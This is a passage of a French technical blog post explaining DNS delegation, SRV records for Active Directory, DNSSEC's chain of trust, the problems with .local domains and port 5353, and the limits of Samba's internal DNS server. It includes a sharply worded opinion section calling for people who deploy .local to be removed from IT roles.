a\u0026#8211;m.root-servers.net Renvoi les enregistrements NS pour uk. \u0026#8212; plus leurs adresses en glue 2 \u0026#160; serveur de noms uk autoritatif pour uk. Renvoi les enregistrements NS pour example.co.uk. 3 \u0026#160; example.co.uk détient la délégation Renvoi ad.example.co.uk. est délégué \u0026#8212; demandez à ses serveurs 4 \u0026#160; ad.example.co.uk autoritatif pour le nom Réponse l'enregistrement A pour dc01, avec le bit AA posé Chaque étape est mise en cache jusqu'à expiration de son TTL, donc un résolveur chaud commence à l'étape 3 ou 4. Ce qui est exactement ce qui rend une entrée de cache empoisonnée si précieuse. Une recherche, quatre serveurs. Chaque étape ne renvoie pas la réponse mais le nom d\u0026rsquo;un meilleur endroit où demander, et le résolveur met chaque étape en cache en descendant. Trois choses à propos de cette descente comptent plus loin.\nLe renvoi est la délégation. Le parent d\u0026rsquo;une zone ne détient pas son contenu. Il détient des enregistrements NS qui disent « demandez là-bas », et — une fois la signature entrée en jeu — un enregistrement DS qui dit « et voici l\u0026rsquo;empreinte de la clé à laquelle vous devez vous attendre en le faisant ». La délégation est le seul mécanisme structurel qu\u0026rsquo;a le DNS, et c\u0026rsquo;est la chose que vous utiliserez pour garder une zone interne interne.\nPresque tout ça est mis en cache. Les renvois de la racine et des TLD ont de longs TTL, donc un résolveur au cache chaud saute directement à l\u0026rsquo;étape trois ou quatre. C\u0026rsquo;est pourquoi le cache d\u0026rsquo;un résolveur vaut d\u0026rsquo;être attaqué : empoisonnez une entrée et vous avez redirigé tout ce qui est en dessous pour la durée du TTL que vous avez choisi.\nLe nom complet n\u0026rsquo;est pas envoyé à chaque serveur. Sous la minimisation du QNAME, un résolveur ne demande à la racine que uk, pas dc01.ad.example.co.uk. Bon à savoir si vous cherchez un jour vos noms internes dans un journal de requêtes en amont. Ils ne devraient pas y être.\nStub, récursif, autoritatif Trois mots employés de façon interchangeable qui désignent des travaux bien différents. La distinction est porteuse pour la moitié Active Directory de ce billet, alors il vaut la peine de la clouer.\nCe qu\u0026rsquo;il fait Descend l\u0026rsquo;arbre ? Détient des données de zone ? Résolveur stub La bibliothèque ou le service local que vos applications appellent. Demande à un serveur configuré et prend la réponse. Non Non Transitaire Passe les requêtes à un autre résolveur, met les réponses en cache. Non Non Résolveur récursif Fait la descente ci-dessus, met chaque étape en cache, valide éventuellement les signatures. Oui Non Serveur autoritatif Répond pour les zones qu\u0026rsquo;on lui a données, et celles-là seulement. Dit « je ne sais pas » pour tout le reste. Non Oui La ligne importante est la dernière. Un serveur autoritatif n\u0026rsquo;a rien à faire à faire de la récursion, et un résolveur récursif n\u0026rsquo;a rien à faire à être autoritatif. Les combiner, c\u0026rsquo;est ainsi que vous obtenez une machine qui va à la fois accepter des questions arbitraires de clients et détenir des données dont ces clients dépendent — ce qui est exactement la machine que vous ne voulez pas que votre contrôleur de domaine soit.\nSur un poste Linux moderne, il y a une autre couche à connaître. systemd-resolved fait tourner un écouteur stub sur l\u0026rsquo;adresse de bouclage et écrit un resolv.conf qui pointe vers lui-même, avec options edns0 trust-ad. Ce trust-ad est celui à remarquer : il dit au stub de croire le bit AD (données authentifiées) dans les réponses de ce serveur. Le bit AD ne prouve rien à lui seul — c\u0026rsquo;est l\u0026rsquo;affirmation du résolveur amont que lui a validé. Le croire est raisonnable quand l\u0026rsquo;amont est le vôtre et que le saut vers lui est digne de confiance, et sans valeur autrement.\nComment les services sont réellement trouvés Un enregistrement A répond à une seule question : quelle adresse ce nom a-t-il. Il ne dit rien sur quel port est le service, lequel de plusieurs serveurs préférer, ni quoi faire quand le premier est en panne.\nLes enregistrements SRV répondent aux trois. Depuis la RFC 2782, la forme est :\n_service._proto.name. TTL IN SRV priority weight port target Les parties d'un enregistrement SRV et ce que chacune décide le transport le domaine le service quel genre de serveur _ldap. _tcp. dc._msdcs. ad.example.com. 600 IN SRV 0 100 389 dc01.ad.example.com. un nom \u0026#8212; les tirets bas le tiennent hors de l'espace hôte TTL type d'enregistrement priorité poids port cible La priorité la plus basse est essayée d'abord. Le poids partage la charge entre les serveurs qui siègent à la même priorité. La cible doit être un nom d'hôte avec des enregistrements A ou AAAA \u0026#8212; jamais un CNAME. Une cible unique de « . » veut dire que le service n'est délibérément pas offert ici. Un enregistrement SRV disséqué. Le nom de propriétaire encode le service et le transport ; le corps de l\u0026rsquo;enregistrement porte l\u0026rsquo;ordre de bascule, le partage de charge au sein d\u0026rsquo;un ordre, le port, et une cible qui doit être un vrai nom d\u0026rsquo;hôte. Chaque champ gagne sa place :\nLes préfixes en tiret bas gardent les libellés de service dans un espace de noms à eux. _tcp ne peut jamais entrer en collision avec un hôte réellement appelé tcp, parce qu\u0026rsquo;un nom d\u0026rsquo;hôte ne peut pas commencer par un tiret bas. Priority est l\u0026rsquo;ordre de bascule — le plus bas est essayé d\u0026rsquo;abord. Les serveurs à un numéro de priorité plus élevé ne sont utilisés que quand tout ce qui est en dessous est injoignable. Weight partage la charge au sein d\u0026rsquo;une priorité. Une paire à weight 100 et weight 300 reçoit environ un quart et trois quarts des clients. C\u0026rsquo;est un tirage proportionnel, pas du tourniquet. Port libère le service d\u0026rsquo;un numéro bien connu, ce qui est ainsi qu\u0026rsquo;un client trouve un serveur LDAP sur 3268 sans que personne ne le code en dur. Target doit être un nom avec des enregistrements A ou AAAA. La RFC 2782 est explicite : il ne doit pas être un CNAME, et une cible unique de . veut dire « ce service n\u0026rsquo;est délibérément pas offert ici » — une chose utile à publier volontairement. C\u0026rsquo;est ce qui rend un domaine localisable plutôt que configuré. Une machine jointe au domaine n\u0026rsquo;a pas de liste de vos contrôleurs de domaine. Elle a un nom de domaine, et elle demande.\nLes noms qu\u0026rsquo;Active Directory publie Un domaine AD est, du point de vue d\u0026rsquo;un client, surtout un ensemble d\u0026rsquo;enregistrements SRV. L\u0026rsquo;arbre sous _msdcs est la partie intéressante, parce que c\u0026rsquo;est ainsi que les clients distinguent « un serveur LDAP » d\u0026rsquo;« un contrôleur de domaine pour ce domaine » d\u0026rsquo;« un catalogue global pour cette forêt » :\nNom Ce qui le demande _ldap._tcp.\u0026lt;domain\u0026gt; Tout ce qui veut du LDAP dans le domaine _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; Localisation d\u0026rsquo;un contrôleur de domaine — le gros morceau _ldap._tcp.pdc._msdcs.\u0026lt;domain\u0026gt; L\u0026rsquo;émulateur PDC précisément _ldap._tcp.gc._msdcs.\u0026lt;forest\u0026gt; Catalogue global _kerberos._tcp.\u0026lt;domain\u0026gt;, _kerberos._udp.\u0026lt;domain\u0026gt; Localisation du KDC, avant qu\u0026rsquo;aucun ticket n\u0026rsquo;existe _kpasswd._tcp.\u0026lt;domain\u0026gt;, _kpasswd._udp.\u0026lt;domain\u0026gt; Changements de mot de passe _ldap._tcp.\u0026lt;site\u0026gt;._sites.dc._msdcs.\u0026lt;domain\u0026gt; Localisation par site — trouver un DC qui est près Regardez à quoi sert cette liste. L\u0026rsquo;authentification Kerberos ne peut pas commencer tant que le client n\u0026rsquo;a pas trouvé de KDC, et il trouve le KDC par DNS. La localisation par site veut dire que la réponse décide aussi contre quel centre de données un client s\u0026rsquo;authentifie.\nLa même idée, modernisée SRV a un successeur à connaître. Les enregistrements SVCB et HTTPS (RFC 9460) généralisent le motif : des paramètres de service dans le DNS, dont l\u0026rsquo;ALPN, le port et des indices d\u0026rsquo;adresse, dans un seul enregistrement. C\u0026rsquo;est ainsi qu\u0026rsquo;un navigateur apprend à aller droit vers HTTP/3 sans redirection. L\u0026rsquo;enregistrement HTTPS est déjà largement déployé. Le mécanisme est le même dans l\u0026rsquo;esprit que SRV : le client se fait dire, par DNS, comment atteindre le service. Ce qui veut dire que l\u0026rsquo;argument de la section suivante s\u0026rsquo;y applique tout autant.\nTout ce qui suit la recherche fait confiance à la recherche Voici le pivot, et c\u0026rsquo;est la raison pour laquelle un billet sur le DNS a une section sécurité plutôt que l\u0026rsquo;inverse.\nUne machine jointe au domaine démarre et demande où est un contrôleur de domaine. Elle obtient un nom et un port. Elle s\u0026rsquo;y connecte, et alors elle se met à faire toutes les choses qu\u0026rsquo;on considère normalement comme la couche de sécurité : Kerberos, signature LDAP, liaison de canal, validation de certificat.\nAlors que se passe-t-il si la réponse était un mensonge ?\nÊtre juste là-dessus compte, parce que la réponse n\u0026rsquo;est pas « catastrophe instantanée ». Kerberos a été conçu avec une authentification mutuelle justement pour qu\u0026rsquo;un client ne soit pas à la merci de sa recherche de nom : un hôte qui ne peut pas produire de ticket de service pour le nom que le client a demandé ne peut pas achever l\u0026rsquo;échange. Obtenez une réponse SRV pointant vers une machine sans clé dans le domaine et, pour un client configuré strictement, ça échoue.\nLe dommage réaliste est plus subtil, et il est tout entier dans les interstices autour de ça :\nRétrogradation. Un client qui se rabat sur NTLM quand Kerberos ne marche pas vient d\u0026rsquo;être remis à quiconque a répondu. Relais et coercition. L\u0026rsquo;attaquant n\u0026rsquo;a pas besoin d\u0026rsquo;être le DC. Être le nom auquel un client se connecte suffit pour commencer à relayer cette authentification quelque part où elle est utile. Déni de service qui a l\u0026rsquo;air d\u0026rsquo;une panne. Pointez _ldap._tcp.dc._msdcs vers quelque chose qui ne répond pas et le domaine est cassé par intermittence d\u0026rsquo;une façon que personne ne diagnostique comme du DNS pendant un bon moment. Tout ce qui n\u0026rsquo;a aucune authentification mutuelle. Synchro d\u0026rsquo;heure, syslog, supervision, agents de sauvegarde, ce truc HTTP interne avec verify=False. Bien des parcs en ont plus qu\u0026rsquo;ils n\u0026rsquo;aimeraient l\u0026rsquo;admettre. Le principe général est celui à retenir : le DNS est un mécanisme de découverte, pas un mécanisme d\u0026rsquo;autorisation. Il est tout à fait raisonnable de trouver un service par son nom. Il n\u0026rsquo;est pas raisonnable d\u0026rsquo;accorder quoi que ce soit sur la foi d\u0026rsquo;un nom, et le nombre de systèmes qui le font discrètement — listes d\u0026rsquo;autorisation par PTR, ACL par nom d\u0026rsquo;hôte, « c\u0026rsquo;est sur le réseau interne donc c\u0026rsquo;est à nous » — est la vraie surface d\u0026rsquo;attaque.\nCe que DNSSEC corrige, et ce qu\u0026rsquo;il ne corrige pas DNSSEC existe pour répondre à une question : cette réponse vient-elle vraiment de la zone qui possède le nom, sans modification ?\nIl fonctionne (RFC 4033 et les deux qui suivent) en signant, et en chaînant les signatures à quelque chose auquel vous faites déjà confiance :\nChaque RRset d\u0026rsquo;une zone signée a un RRSIG — une signature sur cet ensemble. Les clés publiques de la zone sont publiées en DNSKEY. La zone parente publie un enregistrement DS : un condensé de la clé de l\u0026rsquo;enfant. Ce DS est lui-même signé par le parent, dont la clé est condensée dans le DS de son parent, jusqu\u0026rsquo;à la racine — et la clé de la racine est la seule chose que votre résolveur connaissait en naissant. Une chaîne de confiance de la racine jusqu'à une zone interne . \u0026#8212; la racine la seule clé que votre résolveur a déjà Là où chaque chaîne commence. Livrée avec le résolveur, tournée rarement, crue implicitement. DS signé pour com. com. ou uk., ou quoi que ce soit sous quoi vous siégez Un parent se porte garant de la clé de son enfant. Le DS est un condensé de la clé de l'enfant, signé par le parent. DS signé pour example.com. example.com. publique, signée, DS déposé chez le parent La zone que vous possédez déjà et signez déjà. Elle détient la délégation pour la zone interne, et le DS qui l'authentifie. C'est tout ce qu'elle détient de l'intérieur. DS signé pour ad.example.com. au-dessus de la ligne : publié sur l'internet en dessous : servi seulement dans le parc ad.example.com. la vue dérivée d'AD \u0026#8212; serveurs internes seulement Signée dedans, crue depuis dehors. Vos résolveurs la valident racine \u0026#8594; com \u0026#8594; example.com \u0026#8594; ici, sans point d'ancrage de confiance local et sans rien à distribuer. Les données ne partent jamais. Seule la confiance entre, par la chaîne publique ordinaire. La chaîne que construit un résolveur validant. Chaque parent se porte garant de la clé de son enfant avec un enregistrement DS signé, si bien qu\u0026rsquo;un seul point d\u0026rsquo;ancrage de confiance intégré à la racine authentifie chaque zone en dessous — y compris une zone interne déléguée dont le contenu ne quitte jamais le bâtiment. Le déni est signé lui aussi, ce qui est facile à négliger et compte plus qu\u0026rsquo;il n\u0026rsquo;y paraît. Sans lui, « aucun nom de ce type » est une réponse non authentifiée qu\u0026rsquo;un attaquant peut forger pour faire disparaître quelque chose. NSEC et NSEC3 donnent un « rien n\u0026rsquo;existe entre ces deux noms » authentifié.\nC\u0026rsquo;est une vraie correction pour un vrai problème. L\u0026rsquo;empoisonnement de cache n\u0026rsquo;est pas théorique : l\u0026rsquo;attaque de Kaminsky a rendu l\u0026rsquo;usurpation hors chemin assez bon marché pour forcer un correctif d\u0026rsquo;urgence sur tout l\u0026rsquo;internet, et les mesures d\u0026rsquo;atténuation qui ont suivi — randomisation du port source, mélange de casse 0x20 — sont toutes des tentatives de rendre la devinette plus difficile, pas de rendre les réponses vérifiables. Le travail sur les canaux auxiliaires depuis les a rognées à répétition. Les signatures sont la seule chose de cette liste qui change la donne plutôt que d\u0026rsquo;en relever le prix.\nMaintenant les limites honnêtes, parce que DNSSEC est survendu dans les deux sens.\nCe n\u0026rsquo;est pas de la confidentialité. Signer, c\u0026rsquo;est de l\u0026rsquo;authentification à clé publique ; chaque requête et chaque réponse est encore en clair sur le fil. La confidentialité sur le saut client, c\u0026rsquo;est DoT, DoH ou DoQ, et ce sont un mécanisme différent qui résout un problème différent. Chiffrer le saut vers un résolveur qui ne valide pas vous achète une conversation privée avec quelque chose à qui on peut encore mentir.\nIl ne valide pas le sens, seulement l\u0026rsquo;origine. DNSSEC prouve que le propriétaire de la zone a publié ceci. Si l\u0026rsquo;enregistrement est faux, ou malveillant, ou a été écrit par quelqu\u0026rsquo;un que la zone a imprudemment autorisé à l\u0026rsquo;écrire, la signature s\u0026rsquo;y applique tout aussi fidèlement. Signer une zone que des machines non fiables peuvent écrire ne rend pas le contenu digne de confiance — ça authentifie le mensonge. Retenez cette phrase ; le dernier tiers de ce billet en est essentiellement la conséquence.\nIl n\u0026rsquo;aide que si quelqu\u0026rsquo;un valide. Si votre résolveur ne valide pas, les signatures sur les zones que vous interrogez sont de la décoration. Et si la validation a lieu à un résolveur de l\u0026rsquo;autre côté du réseau par rapport au client, le client fait confiance au bit AD et au chemin — voir trust-ad plus haut.\nEt il faut l\u0026rsquo;exploiter. Une signature expirée n\u0026rsquo;est pas une réponse dégradée, c\u0026rsquo;est un SERVFAIL — le nom s\u0026rsquo;éteint. Un DS dans le parent qui ne correspond plus à la clé de l\u0026rsquo;enfant fait pareil. C\u0026rsquo;est le coût honnête, et à ce titre l\u0026rsquo;automatisation des sections suivantes compte plus que la signature initiale.\nPourquoi une TLD interne inventée ne peut pas être signée C\u0026rsquo;est ici que des décisions de nommage prises il y a des années reviennent avec une facture, et il vaut la peine de le détailler parce que c\u0026rsquo;est la raison pour laquelle la conception de ce billet utilise un domaine réel, possédé, pour les noms internes.\nRegardez à nouveau comment la chaîne est construite : la clé d\u0026rsquo;une zone est garantie par un enregistrement DS dans son parent. Donc un résolveur validant ne peut authentifier une zone interne que si cette zone a un parent capable et disposé à publier un DS pour elle.\nad.corp.local n\u0026rsquo;a pas de tel parent. Ni .lan, .home, ni rien d\u0026rsquo;autre inventé le jour où le domaine a été provisionné :\n.local est réservé au mDNS. L\u0026rsquo;utiliser pour du DNS unicast n\u0026rsquo;est pas seulement non signé, c\u0026rsquo;est une collision documentée avec la façon dont chaque système d\u0026rsquo;exploitation du bâtiment a le droit de se comporter. Il a sa propre section plus bas, parce qu\u0026rsquo;il joue dans une autre catégorie que les trois autres. .lan, .corp, .home sont des chaînes non enregistrées. Il n\u0026rsquo;y a pas de parent pour détenir un DS, et les versions demandées ont été retirées de la délégation à cause du bazar des collisions de noms dans les parcs privés. home.arpa est proprement réservé aux réseaux domestiques, ce qui semble idéal — mais sa délégation est délibérément non sécurisée. Il n\u0026rsquo;y a pas de chemin signé jusqu\u0026rsquo;à lui, par conception. .internal a été mis de côté par l\u0026rsquo;ICANN pour exactement cet usage, et il résout le problème de collision. Il ne résout pas celui-ci : pas de délégation veut dire pas de DS, donc pas de chaîne. Vos options avec une zone interne non chaînée sont de la laisser non signée, ou de configurer un point d\u0026rsquo;ancrage de confiance local sur chaque résolveur validant du parc et de devenir la racine de votre propre île privée — une clé que vous devez désormais distribuer, surveiller et faire rouler à la main, sur chaque résolveur, pour toujours, avec un SERVFAIL sur tout le domaine comme mode de défaillance.\nIl y a une réponse bien plus facile, et elle est gratuite : faites de la zone interne une délégation à l\u0026rsquo;intérieur d\u0026rsquo;une zone publique que vous possédez déjà et signez déjà. ad.example.com, déléguée depuis example.com. Le DS va dans le parent public. Chaque résolveur validant du parc authentifie alors les noms internes avec le point d\u0026rsquo;ancrage de confiance qu\u0026rsquo;il a déjà, et vous ne distribuez rien.\nLe contenu reste à l\u0026rsquo;intérieur. Seule la confiance vient de l\u0026rsquo;extérieur. Cette distinction est la conception dans tout le reste de ce billet.\n.local n\u0026rsquo;est pas un choix de style L\u0026rsquo;une de ces quatre mérite sa propre section, parce que c\u0026rsquo;est celle que les gens défendent, et parce que la défense est toujours la même : ça marche, on l\u0026rsquo;utilise depuis des années, où est le problème.\nLe problème, c\u0026rsquo;est que .local n\u0026rsquo;est pas une chaîne non enregistrée que quelqu\u0026rsquo;un pourrait un jour vendre. C\u0026rsquo;est un espace de noms qui a déjà un propriétaire et un comportement défini, et le comportement n\u0026rsquo;est pas « demander au serveur DNS ». La RFC 6762 §3 n\u0026rsquo;est pas tendre à ce sujet :\nAny DNS query for a name ending with \u0026ldquo;.local.\u0026rdquo; MUST be sent to the mDNS IPv4 link-local multicast address 224.0.0.251 (or its IPv6 equivalent FF02::FB).\nLisez ce que ce MUST gouverne réellement. Ce n\u0026rsquo;est pas une affirmation sur qui possède la chaîne. C\u0026rsquo;est une instruction sur où va la requête — et la réponse est un groupe multicast sur le lien local, pas votre contrôleur de domaine. La même section dit que les noms sous .local n\u0026rsquo;ont « meaningful only on the link where they originate » — de sens que sur le lien où ils naissent, l\u0026rsquo;équivalent DNS d\u0026rsquo;une adresse 169.254.\nDonc un client qui suit correctement la spécification ne demandera jamais à votre serveur DNS un nom .local. Il crie sur le fil et prend ce qui répond.\nÇa produit un ensemble de défaillances d\u0026rsquo;une saveur très particulière :\nLa résolution dépend du client, pas de votre DNS. macOS résout .local par Bonjour et l\u0026rsquo;a toujours fait ; systemd-resolved route le domaine local vers mDNS par défaut ; Windows fait du mDNS depuis Windows 10. Trois piles, trois jeux de règles, et votre fichier de zone n\u0026rsquo;est consulté par aucune d\u0026rsquo;elles. Ça s\u0026rsquo;arrête au premier routeur. Le mDNS est lien-local par conception. Un nom qui résout à un bureau sur le même VLAN ne résout pas depuis un autre étage, un autre site, ou le VPN — c\u0026rsquo;est le ticket « marche au bureau, casse à la maison » qui est fermé en « souci réseau » quatre fois avant que quelqu\u0026rsquo;un ne lise la spec. Le comportement change sous vos pieds. Qu\u0026rsquo;une machine donnée essaie le multicast d\u0026rsquo;abord, l\u0026rsquo;unicast d\u0026rsquo;abord, ou les deux en parallèle dépend de la pile de résolution et de sa version. Les parcs qui ont tourné sur .local « très bien pendant des années » sont d\u0026rsquo;habitude des parcs où une mise à jour de distribution n\u0026rsquo;a pas encore changé l\u0026rsquo;ordre. La preuve manque là où vous la cherchez. Le journal de requêtes du DC ne montre rien, parce que rien n\u0026rsquo;est arrivé. Les gens passent des jours sur le serveur, et la requête n\u0026rsquo;a jamais quitté le client. Et ça ne peut pas être signé, ce qui est le propos de cette section. Pas de parent, pas de DS, pas de chaîne, aucun moyen d\u0026rsquo;en publier une. Maintenant mettez ça sous un domaine Active Directory. Le royaume est dérivé du nom de domaine. Les principaux de service sont dérivés du royaume. Les locators _msdcs — les enregistrements dont parle tout ce billet — siègent sous un suffixe qu\u0026rsquo;un client conforme est tenu de résoudre en criant sur le segment local. Vous bâtissez Kerberos par-dessus un espace de noms que la moitié de votre parc résout avec un protocole conçu pour trouver des imprimantes.\nEt la sortie coûte cher, ce qui rend la décision d\u0026rsquo;origine digne d\u0026rsquo;être regardée sans sentimentalisme. Il n\u0026rsquo;y a pas de renommage en place sur Samba. Le chemin documenté est samba-tool domain backup rename suivi d\u0026rsquo;une restauration : vous prenez une copie renommée de la base de données, réamorcez un nouveau DC à partir d\u0026rsquo;elle, et rajoutez chaque autre DC de zéro, sans chevauchement permis entre les DC à l\u0026rsquo;ancien nom et au nouveau nom. Ce n\u0026rsquo;est pas le rendom de Windows, qui au moins parcourt les DC un à un. C\u0026rsquo;est une reconstruction avec un plus joli nom.\nDonc le résumé honnête. .local pour un domaine unicast n\u0026rsquo;est pas une préférence, une convention, ou un innocent brin d\u0026rsquo;héritage. C\u0026rsquo;est un conflit documenté avec un protocole livré activé sur chaque système d\u0026rsquo;exploitation du bâtiment, et la facture arrive des années plus tard sous forme de défaillances de résolution intermittentes et non reproductibles — et, quand vous voudrez enfin signer la zone, sous forme d\u0026rsquo;une reconstruction de domaine.\nLa même erreur, sous un autre chapeau Tant qu\u0026rsquo;on y est : le port 5353.\nLe mDNS écoute sur UDP 5353, et ce n\u0026rsquo;est pas un port de rechange qui se trouve être libre. Poser un service DNS unicast normal dessus, ou pointer les résolveurs vers :5353 parce que le 53 était occupé ou demandait root, fait le même dégât depuis l\u0026rsquo;autre direction — chaque machine consciente du mDNS sur ce segment parle maintenant à votre service de noms, et votre service de noms traite maintenant de la découverte de services multicast qu\u0026rsquo;il n\u0026rsquo;a jamais été censé traiter. Le nom et le port sont deux moitiés d\u0026rsquo;un seul espace de noms, et les deux appartiennent déjà à quelqu\u0026rsquo;un d\u0026rsquo;autre.\n.local sur le 53, ou du DNS unicast sur le 5353. Même malentendu, même classe de défaillance intermittente, mêmes semaines du temps de quelqu\u0026rsquo;un d\u0026rsquo;autre.\nEt soyez honnête sur ce que ça dit Microsoft a recommandé .local à l\u0026rsquo;époque de Small Business Server, ce qui est pourquoi tant de parcs le portent encore, et a cessé de le recommander il y a longtemps. Hériter d\u0026rsquo;un domaine .local est de la malchance. La plupart des gens qui lisent ceci et en ont un ne l\u0026rsquo;ont pas choisi, et la section ci-dessus est un plan de migration plutôt qu\u0026rsquo;une accusation.\nLe déployer est une tout autre affaire, et je vais être franc là-dessus, parce que l\u0026rsquo;adoucir n\u0026rsquo;a aidé personne.\nQuiconque déploie .local pour Active Directory ou pour du DNS unicast standard, ou pose un service DNS sur le port 5353, n\u0026rsquo;est pas un professionnel de l\u0026rsquo;informatique. Il peut en avoir le titre. Il ne fait pas le travail. La RFC 6762 est publiée depuis 2013, elle se lit en vingt minutes, et la phrase qui règle toute la question est dans la section 3. Bâtir le service de noms d\u0026rsquo;une entreprise sur un espace de noms que la spécification réserve au multicast lien-local n\u0026rsquo;est pas une décision d\u0026rsquo;ingénierie défendable. C\u0026rsquo;est quelqu\u0026rsquo;un qui devine dans la seule partie de la pile où deviner produit des défaillances que personne ne peut reproduire et que tout le monde met sur le dos du réseau.\nIl devrait être retiré de votre service informatique. Pas déplacé de côté, pas mis à s\u0026rsquo;occuper du DNS sous supervision. Retiré de la fonction. Le rôle existe pour savoir quel paquet va où et sur l\u0026rsquo;autorité de qui. Quelqu\u0026rsquo;un qui n\u0026rsquo;a pas lu le document qui gouverne l\u0026rsquo;espace de noms qu\u0026rsquo;il a choisi pour chaque machine du bâtiment ne remplit pas ce rôle, et le garder dedans veut dire que la prochaine décision de cette taille sera prise de la même façon.\nEt chaque système qu\u0026rsquo;il a touché devrait être audité. C\u0026rsquo;est la partie que les gens sautent, et c\u0026rsquo;est celle qui compte le plus. Une décision comme celle-ci n\u0026rsquo;est jamais isolée. Quelqu\u0026rsquo;un qui n\u0026rsquo;a pas vérifié la RFC 6762 avant de nommer le domaine n\u0026rsquo;a rien vérifié d\u0026rsquo;autre non plus — alors allez voir ce qu\u0026rsquo;il a bâti d\u0026rsquo;autre. Attendez-vous à trouver :\nDes serveurs DNS ouverts au monde, des transitaires qui répondent à quiconque demande, et aucune ACL nulle part. La mise à jour dynamique laissée grande ouverte, et des conteneurs de zone avec des permissions que personne n\u0026rsquo;a revues depuis la création du domaine. Des certificats et du Kerberos bâtis par-dessus des noms qui n\u0026rsquo;allaient jamais résoudre de façon cohérente, les défaillances recouvertes par des fichiers hosts. Des fichiers hosts. Partout. Des parcs entiers ont tenu grâce à eux justement parce que .local n\u0026rsquo;a jamais marché correctement et que quelqu\u0026rsquo;un a trouvé un contournement au lieu d\u0026rsquo;une cause. Des règles de pare-feu et des comptes de service créés pour faire disparaître les symptômes, toujours en place, accordant encore plus que personne ne se rappelle. Ce n\u0026rsquo;est pas de la rancune. C\u0026rsquo;est ce à quoi sert un signal de compétence. Quand vous trouvez une décision prise sans lire la spec, la bonne réponse est de supposer que le reste a été pris de la même façon et d\u0026rsquo;aller vérifier — parce que la même personne a configuré votre authentification, vos certificats et votre contrôle d\u0026rsquo;accès, et vous avez maintenant une preuve directe de sa façon d\u0026rsquo;aborder un problème qu\u0026rsquo;elle ne comprend pas entièrement.\nHériter de ce bazar vous coûte une migration. Employer la personne qui le crée encore vous coûte considérablement plus.\nLes deux backends DNS de Samba Un contrôleur de domaine AD Samba stocke ses données DNS dans l\u0026rsquo;annuaire lui-même, et il y a deux façons de les servir.\nSAMBA_INTERNAL est le serveur DNS propre à Samba, intégré au DC AD. Il gère les zones AD et les mises à jour dynamiques authentifiées par Kerberos, et il passe tout le reste à un transitaire. Samba le décrit comme supportant « the basic feature required in an AD » — la fonction de base requise dans un AD — et le recommande « for simple DNS setups », pour des installations DNS simples, ce qui est juste et à prendre au pied de la lettre. Il a sa propre section plus bas, parce que ce qu\u0026rsquo;il ne fait pas est plus long et plus intéressant que ce qu\u0026rsquo;il fait.\nBIND9_DLZ fait tourner BIND comme serveur DNS, avec le module dlz_bind9 de Samba chargé dedans. DLZ — Dynamically Loadable Zones — est une interface de BIND pour adosser une zone à autre chose qu\u0026rsquo;un fichier de zone. Le module répond aux requêtes de BIND directement depuis sam.ldb, donc il n\u0026rsquo;y a pas de copie, pas d\u0026rsquo;étape d\u0026rsquo;export, et pas de synchronisation qui puisse mal tourner : BIND lit l\u0026rsquo;annuaire pendant qu\u0026rsquo;il sert.\nLe serveur DNS interne ne fait pas de récursion — il ne peut pas Commençons par la chose qui est presque toujours décrite de travers, y compris par les gens qui l\u0026rsquo;exploitent.\n« Le DC est notre serveur DNS, il fait de la récursion pour les clients » n\u0026rsquo;est pas ce qui se passe, parce que le serveur DNS interne ne peut pas du tout faire de récursion. La propre liste de fonctionnalités de Samba le dit clairement. Le DNS interne ne supporte pas :\nd\u0026rsquo;agir comme résolveur de cache les requêtes récursives (mais il peut transiter vers un autre serveur de noms DNS récursif) la signature de transaction à clé partagée (TSIG) les zones stub les transferts de zone l\u0026rsquo;équilibrage de charge en tourniquet entre DC le nettoyage (scavenging) et les transitaires conditionnels étant listés comme non implémentés eux aussi.\nLisez les deux premières ensemble, parce que c\u0026rsquo;est toute l\u0026rsquo;histoire. Il ne peut pas résoudre, et il ne peut pas mettre en cache. Ce que dns forwarder vous achète réellement est un relais : un client demande windowsupdate.com au DC, le DC demande à un vrai résolveur, la réponse revient par le DC, et le DC l\u0026rsquo;oublie ensuite entièrement. Le client suivant pose la même question et tout recommence.\nRegardez la table plus haut dans ce billet et notez ce que c\u0026rsquo;est : un transitaire sans le cache du transitaire. Il a les coûts du rôle — un saut de plus, une dépendance, une chose qui peut tomber — et aucun de ses bénéfices.\nDonc un DC avec SAMBA_INTERNAL qui sert le parc n\u0026rsquo;est pas un serveur DNS au sens où les gens l\u0026rsquo;entendent. C\u0026rsquo;est un proxy sans cache pour un vrai résolveur, et vous l\u0026rsquo;avez placé sur la machine qui détient votre annuaire.\nPourquoi c\u0026rsquo;est un risque et pas juste une inefficacité L\u0026rsquo;inefficacité est facile à voir : chaque recherche externe du bâtiment devient un aller-retour par le DC AD, en permanence, sans cache pour en émousser l\u0026rsquo;arête. Sur un domaine tranquille personne ne le remarque. C\u0026rsquo;est exactement pourquoi ça survit.\nL\u0026rsquo;argument de sécurité est celui qui vaut la peine d\u0026rsquo;être fait, et il a trois parties.\nL\u0026rsquo;écouteur est dans le mauvais processus. Le DNS interne est une tâche de service du DC AD lui-même, tournant avec les privilèges de l\u0026rsquo;annuaire — pas un démon séparé sous son propre compte comme l\u0026rsquo;est named. Donc la chose qui analyse de l\u0026rsquo;UDP non authentifié venant de tout ce qui peut atteindre le port 53 tourne à l\u0026rsquo;intérieur du processus qui sert LDAP et Kerberos et possède sam.ldb. BIND a trente ans d\u0026rsquo;attention hostile, un utilisateur dédié, et l\u0026rsquo;habitude d\u0026rsquo;être exécuté en prison, justement parce qu\u0026rsquo;un écouteur DNS est un quartier difficile. Le serveur interne de Samba est une commodité qui se trouve vivre dans les joyaux de la couronne.\nServir les clients veut dire être joignable par les clients. Pour être le serveur DNS du parc, il doit accepter des requêtes de chaque poste, chaque imprimante, chaque portable de prestataire sur le VLAN invité que quelqu\u0026rsquo;un a ponté par accident. C\u0026rsquo;est une grande surface d\u0026rsquo;attaque, ouverte en permanence, non authentifiée, sur l\u0026rsquo;hôte le plus précieux que vous possédiez, et vous la faites tourner pour économiser le coût d\u0026rsquo;un résolveur qu\u0026rsquo;un Raspberry Pi pourrait héberger.\nEt un transitaire ouvert au monde est l\u0026rsquo;arme de quelqu\u0026rsquo;un d\u0026rsquo;autre. Un DC qui transite pour tout ce qui demande est un transitaire ouvert. Une fois joignable hors de votre réseau, il devient un participant à la réflexion et à l\u0026rsquo;amplification, ce qui veut dire que le trafic et les rapports d\u0026rsquo;abus arrivent tous deux à votre contrôleur de domaine. Il n\u0026rsquo;y a pas de limitation de débit vers laquelle se tourner, parce que le serveur interne n\u0026rsquo;en a pas.\nRien de tout ça ne demande une vulnérabilité de Samba pour être une mauvaise idée. C\u0026rsquo;est une mauvaise idée sur la forme 